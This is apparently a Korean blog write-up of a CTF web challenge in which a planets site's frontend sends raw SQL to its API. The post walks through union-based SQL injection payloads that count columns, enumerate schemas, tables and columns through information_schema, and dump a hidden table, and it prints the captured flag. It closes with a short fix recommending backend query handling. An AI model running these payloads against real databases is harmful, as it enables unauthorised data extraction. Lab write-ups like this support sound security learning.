728x90
반응형
기능 분석

행성들 소개 글이 나열되는 사이트다. 별다른 기능이 없다.
<script>
try {
fetch("/api.php", {
method: "POST",
body: "query=SELECT * FROM planets",
headers: {"Content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
})
.then(response => response.json())
.then(response => addPlanets(response))
} catch (error) {
console.error(error.message);
}
function addPlanets(planets){
let container = document.getElementById("container");
for (planet in planets){
let div = document.createElement("div");
div.classList = "planet";
let h2 = document.createElement("h2");
h2.textContent = planets[planet].name;
let img = document.createElement("img");
img.src = "images/" + planets[planet].image;
img.alt = planets[planet].name;
let p = document.createElement("p");
p.textContent = planets[planet].description;
div.appendChild(h2);
div.appendChild(img);
div.appendChild(p);
container.appendChild(div);
}
}
</script>
스크립트를 보면 sql 문을 스크립트로 전달해서 파일들을 가져오고 있다.
취약점 분석
body: "query=SELECT * FROM planets"
이 부분을 이용해서 SQL Injection이 가능하다. 필자는 union sql injection으로 문제를 풀이했다.
칼럼 수 확인
query=SELECT * FROM planets order by 4
union을 사용할 때 맞춰줄 칼럼 수를 찾았다.
데이터베이스 명 확인
query=SELECT * FROM planets union select schema_name,2,3,4 from information_schema.schemata

전체 데이터베이스 명 확인 페이로드
query=SELECT * FROM planets union select database(),2,3,4

현재 사용 중인 데이터베이스 명 확인 페이로드
테이블을 찾기 위해 먼저 데이터베이스를 검색해주었다.
테이블 명 확인
query=SELECT * FROM planets union select table_name,2,3,4 from information_schema.tables where table_schema = database()

칼럼 명을 찾기 위해 테이블 명을 찾아주었다.
칼럼 명 확인
query=SELECT * FROM planets union select group_concat(column_name SEPARATOR ' : '),2,3,4 from information_schema.columns where table_schema = database()

모든 행을 합치기 위해 group_concat을 사용할 수 있다. `SEPARATOR ' : '`로 기본 구분자 `,` 대신 ` : `를 사용할 수 있다.
요소 확인
query=SELECT * FROM planets union select concat(description,' : ',id,' : ',image,' : ',name),2,3,4 from abandoned_planets

각 칼럼들 요소를 한 번에 보기 위해서는 concat을 사용할 수 있다.
위와 같이 flag를 찾을 수 있었다.
flag{9c4dea2d8ae5681a75f8e670ac8ba999}
짜잔
대응 방안
- 프론트엔드에서 SQL문을 전달하고 있다. 이렇게 사용자에게 SQL 쿼리 질의 권한을 주어서는 안된다. 백엔드에서 처리하도록 구현해야한다.
728x90
반응형
'분류 전 > CTF' 카테고리의 다른 글
| [WHY 2025 CTF] Shoe Shop 1.0 풀이 (2) | 2025.08.14 |
|---|---|
| [WHY 2025 CTF] Buster 풀이 (2) | 2025.08.14 |
| [ShaktiCTF25] brain_games 풀이 (2) | 2025.07.30 |
| [ShaktiCTF25] Hooman 풀이 (3) | 2025.07.30 |
| [ShaktiCTF25] FRIENDS 풀이 (2) | 2025.07.30 |